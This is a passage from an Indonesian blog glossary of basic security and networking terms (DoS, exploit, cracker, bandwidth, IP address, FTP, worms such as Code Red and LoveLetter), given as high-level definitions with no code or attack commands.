Secara khas target adalah High_profile web server, serangan ini mengarahkan menjadikan host halaman web tidak ada di internet.

Hal ini merupakan suatu kejahatan computer yang melanggar kebijakan penggunaan internet yang diindikasikan oleh internet arsitecture broad (IAB).

Denial Of service Attack mempunyai dua format umum:

· Memaksa computer-komputer korban untuk mereset atau korban tidak bisa lagi menggunakn perangkat komputernya seperti yang diharapkannya

· Menghalangi media komunikasi antara para pemakai dan korban sehingga mereka tidak bisa lagi berkomunikasi.

Denial of Service Attack ditandai oleh suatu usaha eksplisit dengan penyerang untuk mencegah para pemakai member bantuan dari penggunaan jasa tersebut, contohnya meliputi:

· Mencoba untuk membanjiri suatu jaringan, dengan demikian mencegah lalu lintas jaringan yang ada.

· Berusaha untuk mengganggu koneksi antara dua mesin, dengan demikian mencegah akses kepada suatu service.

· Berusaha untuk mencegah individu tertentu dari mengakses suatu service.

· Berusaha untuk mengganggu service kepada suatu orang atau system spesifik.

6. Exploit

Exploit adalah sebuah perangkat lunak yang menyerang kerapuhan keamanan (security vulnerability) yang spesifik namun tidak selalu bertujuan untuk melancarkan aksi yang tidak diinginkan. Banyak peneliti keamanan komputer menggunakan exploit untuk mendemonstrasikan bahwa suatu sistem memiliki kerapuhan.

Memang ada badan peneliti yang bekerja sama dengan produsen perangkat lunak. Peneliti itu bertugas mencari kerapuhan dari sebuah perangkat lunak dan kalau mereka menemukannya, mereka melaporkan hasil temuan ke produsen agar produsen dapat mengambil tindakan. Meskipun demikian, exploit kadang menjadi bagian dari suatu malware yang bertugas menyerang kerapuhan keamanan.

7. CRACKER

Cracker adalah sisi gelap dari hacker dan memiliki ketertarikan untuk mencuri informasi, melakukan berbagai macam kerusakan dan sesekali waktu juga melumpuhkan keseluruhan system computer.

Penggolongan Hacker dan Cracker

· Recreational Hacker, adalah kejahatan yang dilakukan oleh netter tingkat pemula untuk sekedar mencoba kekuranghandalan system securitas suatu perusahaan.

· Cracker/Criminal Minded Hacker, adalah pelaku yang memiliki motivasi untuk mendapat keuntungan financial, sabotase dan pengerusakan data.Tipe kejahatan ini dapat dilakukan dengan bantuan orang dalam.

· Political Hacker, aktifis politis (Hacktifis) melakukan pengrusakan terhadap ratusan situs web untuk mengkampanyekan programnya atau ada ikut campurnya programmer ditakuti orang-orang tapi disenngi oleh perusahaan-perusahaan, bahkan tidak jarang dipergunakan untuk menempelkan pesan untuk mendiskreditkan lawannya

8. Bandwidth

Lebar pita (bahasa Inggris: bandwidth) dalam teknologi komunikasi adalah perbedaan antara frekuensi terendah dan frekuensi tertinggi dalam rentang tertentu. Sebagai contoh, line telepon memiliki bandwidth 3000Hz (Hertz), yang merupakan rentang antara frekuensi tertinggi (3300Hz) dan frekuensi terendah (300Hz) yang dapat dilewati oleh line telepon ini.

Pengertian Bandwidth

Bandwidth adalah luas atau lebar cakupan frekuensi yang digunakan oleh sinyal dalam medium transmisi. Dalam kerangka ini, Bandwidth dapat diartikan sebagai perbedaan antara komponen sinyal frekuensi tinggi dan sinyal frekuensi rendah. frekuensi sinyal diukur dalam satuan Hertz. sinyal suara tipikal mempunyai Bandwidth sekitar 3 kHz, analog TV broadcast (TV) mempunyai Bandwidth sekitar 6 MHz. Bandwidth diartikan juga sebagai takaran jarak frekuensi. Dalam bahasa mudahnya, adalah sebuah takaran lalu lintas data yang masuk dan yang keluar. Dalam dunia hosting, kita di berikan jatah Bandwidth setiap bulan tergantung seberapa dalam kita merogoh kocek. Habisnya Bandwidth ditentukan seberapa banyak kita mengupload atau mendownload. Makin banyak anda melakukan aktivitas upload, ditambah makin banyaknya pengunjung yang mengakses, maka makin berkurang jatah Bandwidth yang diberikan. Misalkan, www.namasitus.com diberi jatah Bandwidth sebesar 1,5 Giga dalam sebulan. Dan sudah sejak bulan Desember rasanya jatah Bandwidth yang diberikan kurang. Pada bulan Desember, jatah Bandwidth habis sehari sebelum tahun baru. Dan berturut-turut bulan Januari, Februari, Maret dan April habis dalam 3 minggu. Otomatis, dalam seminggu terakhir didats.net tidak bisa diakses.

Digital Bandwidth

Digital Bandwidth Digital Bandwidth adalah jumlah atau volume data yang dapat dikirimkan melalui sebuah saluran komunikasi dalam satuan bits per second tanpa distorsi. Analog Bandwith

Analog Bandwidth

Sedangkan analog Bandwidth adalah perbedaan antara frekuensi terendah dengan frekuensi tertinggi dalam sebuah rentang frekuensi yang diukur dalam satuan Hertz (Hz) atau siklus per detik, yang menentukan berapa banyak informasi yang bisa ditransimisikan dalam satu saat.

Bandwidth Komputer

Bandwidth Komputer Di dalam jaringan Komputer, Bandwidth sering digunakan sebagai suatu sinonim untuk data transfer rate yaitu jumlah data yang dapat dibawa dari sebuah titik ke titik lain dalam jangka waktu tertentu (pada umumnya dalam detik). Jenis Bandwidth ini biasanya diukur dalam bps (bits per second). Adakalanya juga dinyatakan dalam Bps (bytes per second). Suatu modem yang bekerja pada 57,600 bps mempunyai Bandwidth dua kali lebih besar dari modem yang bekerja pada 28,800 bps. Secara umum, koneksi dengan Bandwidth yang besar/tinggi memungkinkan pengiriman informasi yang besar seperti pengiriman gambar/images dalam video presentation.

Alokasi Bandwidth

Alokasi Bandwidth Alokasi atau reservasi Bandwidth adalah sebuah proses menentukan jatah Bandwidth kepada pemakai dan aplikasi dalam sebuah jaringan. Termasuk didalamnya menentukan prioritas terhadap berbagai jenis aliran data berdasarkan seberapa penting atau krusial dan delay-sensitive aliran data tersebut. Hal ini memungkinkan penggunaan Bandwidth yang tersedia secara efisien, dan apabila sewaktu-waktu jaringan menjadi lambat, aliran data yang memiliki prioritas yang lebih rendah dapat dihentikan, sehingga aplikasi yang penting dapat tetap berjalan dengan lancar. Besarnya saluran atau Bandwidth akan berdampak pada kecepatan transmisi. Data dalam jumlah besar akan menempuh saluran yang memiliki Bandwidth kecil lebih lama dibandingkan melewati saluran yang memiliki Bandwidth yang besar. Kecepatan transmisi tersebut sangat dibutuhkan untuk aplikasi Komputer yang memerlukan jaringan terutama aplikasi real-time, seperti video conferencing. Penggunaan Bandwidth untuk LAN bergantung pada tipe alat atau medium yang digunakan, umumnya semakin tinggi Bandwidth yang ditawarkan oleh sebuah alat atau medium, semakin tinggi pula nilai jualnya. Sedangkan penggunaan Bandwidth untuk WAN bergantung dari kapasitas yang ditawarkan dari pihak ISP, perusahaan harus membeli Bandwidth dari ISP, dan semakin tinggi Bandwidth yang diinginkan, semakin tinggi pula harganya. sebuah teknologi jaringan baru dikembangkan dan infrastruktur jaringan yang ada diperbaharui, aplikasi yang akan digunakan umumnya juga akan mengalami peningkatan dalam hal konsumsi Bandwidth. Video streaming dan Voice over IP ([[VoIP]]) adalah beberapa contoh penggunaan teknologi baru yang turut mengkonsumsi Bandwidth dalam jumlah besar.

Tips Menghemat Bandwidth Internet

Tips Menghemat Bandwidth Internet Tips ini sangat berguna jika anda memasang internet yang menggunakan paket quota Bandwidth / Volume Based.

· Menonaktifkan fungsi untuk load images dan sound. Jika anda melakukan browsing ke suatu situs dan hanya membutuhkan info text nya saja di situs tersebut anda bisa menonaktifkan fungsi untuk load images dan sound. Untuk Firefox : Tools -> Options -> Content Untuk IE : Tools -> Internet Options -> Advanced

· Mematikan setting update automatic. Mematikan setting update automatic pada windows, antivirus maupun software yang lain dan pindah ke setting ke manual update. Karena ada beberapa program yang kita install melakukan download update secara automatis.

· Install Add-ons Adblock Plus. Plugin ini berfungsi untuk mengeblok iklan-iklan yang muncul di suatu situs kalo kita membuka situs tersebut. Untuk firefox anda bisa menginstall add-ons Adblock plus (https://addons.mozilla.org/en-US/firefox/addon/1865). add-ons firefox ini mampu mengeblok iklan gambar dan iklan flash.

· Menggunakan program kompresi images seperti toolnel. Dengan program ini, maka data akan dikompres terlebih dahulu sebelum masuk ke Komputer kita. Anda bisa mendownload di http://www.toonel.net/downloads.html

· Menggunakan Web mail yang support AJAX Gunakan layanan email yang support AJAX dimana tampilan bekerja efisien sehingga data yang kita download lebih kecil. Web mail yang support AJAX antara lain GMail dan Yahoo Mail dengan versi barunya.

· Gunakan salah satu browser saja. Gunakan salah satu browser saja, misalnya kalau Firefox gunakanlah Firefox terus, kl Internet Explorer gunakanlah Internet Explorer terus, jangan berpindah-pindah, karena setiap browser memiliki cache sendiri, sehingga jika Anda membuka situs yang sudah pernah anda kunjungi, maka browser tersebut tidak akan mendownload seluruh data lagi, karena beberapa sudah tersimpan di browser Komputer anda berupa cache.

9. DIGITAL SIGNATURE

Digital Signature adalah sebuah pengaman pada data digital yang dibuat dengan kunci tanda tangan pribadi (Private Signature Key), yang penggunannya tergantung pada kunci public yang menjadi pasangannya.

10. DEFACED

Defaced diartikansebagai aktifitas menodai atau merubah isi suatu halaman web.

11. PATCH

Patch adalah bagian kecil dari perangkat software untuk menyelesaikan masalah software tersebut atau mengupdate program computer mengsupport data.

12. IP ADDRESS

Alamat IP (Internet Protocol Address atau sering disingkat IP) adalah deretan angka biner antar 32-bit sampai 128-bit yang dipakai sebagai alamat identifikasi untuk tiap komputer host dalam jaringan Internet. Panjang dari angka ini adalah 32-bit (untuk IPv4 atau IP versi 4), dan 128-bit (untuk IPv6 atau IP versi 6) yang menunjukkan alamat dari komputer tersebut pada jaringan Internet berbasis TCP/IP.

Sistem pengalamatan IP ini terbagi menjadi dua, yakni:

IP versi 4 (IPv4)

IP versi 6 (IPv6)

13. Telnet

Telnet (Telecommunication network) adalah sebuah protokol jaringan yang digunakan di koneksi Internet atau Local Area Network. TELNET dikembangkan pada 1969 dan distandarisasi sebagai IETF STD 8, salah satu standar Internet pertama. TELNET memiliki beberapa keterbatasan yang dianggap sebagai risiko keamanan.

14. File Transfer Protocol (FTP)

FTP (singkatan dari File Transfer Protocol) adalah sebuah protokol Internet yang berjalan di dalam lapisan aplikasi yang merupakan standar untuk pentransferan berkas (file) komputer antar mesin-mesin dalam sebuah internetwork.

FTP merupakan salah satu protokol Internet yang paling awal dikembangkan, dan masih digunakan hingga saat ini untuk melakukan pengunduhan (download) dan penggugahan (upload) berkas-berkas komputer antara klien FTP dan server FTP. Sebuah Klien FTP merupakan aplikasi yang dapat mengeluarkan perintah-perintah FTP ke sebuah server FTP, sementara server FTP adalah sebuah Windows Service atau daemon yang berjalan di atas sebuah komputer yang merespons perintah-perintah dari sebuah klien FTP. Perintah-perintah FTP dapat digunakan untuk mengubah direktori, mengubah modus transfer antara biner dan ASCII, menggugah berkas komputer ke server FTP, serta mengunduh berkas dari server FTP.

Sebuah server FTP diakses dengan menggunakan Universal Resource Identifier (URI) dengan menggunakan format ftp://namaserver.Klien FTP dapat menghubungi server FTP dengan membuka URI tersebut.

Cara kerja protokol FTP

FTP menggunakan protokol Transmission Control Protocol (TCP) untuk komunikasi data antara klien dan server, sehingga di antara kedua komponen tersebut akan dibuatlah sebuah sesi komunikasi sebelum transfer data dimulai. Sebelum membuat koneksi, port TCP nomor 21 di sisi server akan "mendengarkan" percobaan koneksi dari sebuah klien FTP dan kemudian akan digunakan sebagai port pengatur (control port) untuk (1) membuat sebuah koneksi antara klien dan server, (2) untuk mengizinkan klien untuk mengirimkan sebuah perintah FTP kepada server dan juga (3) mengembalikan respons server ke perintah tersebut. Sekali koneksi kontrol telah dibuat, maka server akan mulai membuka port TCP nomor 20 untuk membentuk sebuah koneksi baru dengan klien untuk mentransfer data aktual yang sedang dipertukarkan saat melakukan pengunduhan dan penggugahan.

FTP hanya menggunakan metode autentikasi standar, yakni menggunakan username dan password yang dikirim dalam bentuk tidak terenkripsi. Pengguna terdaftar dapat menggunakan username dan password-nya untuk mengakses, men-download, dan meng-upload berkas-berkas yang ia kehendaki. Umumnya, para pengguna terdaftar memiliki akses penuh terhadap beberapa direktori, sehingga mereka dapat membuat berkas, membuat direktori, dan bahkan menghapus berkas. Pengguna yang belum terdaftar dapat juga menggunakan metode anonymous login, yakni dengan menggunakan nama pengguna anonymous dan password yang diisi dengan menggunakan alamat e-mail.

15. worm

Cacing komputer (Inggris: worm) dalam keamanan komputer, adalah sebutan untuk sebuah program yang menyebarkan dirinya di dalam banyak komputer, dengan menggandakan dirinya dalam memori setiap komputer yang terinfeksi. Sebuah worm dapat menggandakan dirinya dalam sebuah sistem komputer sehingga dapat menyebabkan sistem tersebut mengalami crash sehingga mengharuskan server harus di-restart. Beberapa worm juga menghabiskan bandwidth yang tersedia. Worm merupakan evolusi dari virus komputer.

Virus komputer memang dapat menginfeksi berkas-berkas dalam sebuah sistem komputer, tapi worm dapat melakukannya dengan lebih baik. Selain dapat menyebar dalam sebuah sistem, worm juga dapat menyebar ke banyak sistem melalui jaringan yang terhubung dengan sistem yang terinfeksi. Beberapa worm, juga dapat mencakup kode-kode virus yang dapat merusak berkas, mencuri dokumen, e-mail, atau melakukan hal lainnya yang merusak, atau hanya menjadikan sistem terinfeksi tidak berguna.

Beberapa contoh dari worm adalah sebagai berikut:

ADMw0rm: Worm yang dapat melakukan ekspolitasi terhadap layanan jaringan Berkeley Internet Name Domain (BIND), dengan melakukan buffer-overflow.

Code Red: Worm yang dapat melakukan eksploitasi terhadap layanan Internet Information Services (IIS) versi 4 dan versi 5, dengan melakukan serangan buffer-overflow.

LoveLetter: Worm yang menyebar dengan cara mengirimkan dirinya melalui e-mail kepada semua akun yang terdaftar dalam Address Book Microsoft Outlook Express/daftar kontak dalam Microsoft Outlook dengan cara menggunakan kode Visual Basic Script (VBScript).

Nimda

SQL-Slammer




Sumber : berbagai sumber











1 komentar:






Anonim
mengatakan...


yaps..
posting perdana..
komentar perdana...
^_^







Poskan Komentar


Posting Komentar anda disini.. Harap menggunakan kata-kata sopan, no sara, no drugs n no alkohol -_-"











 

Design By:
SkinCorner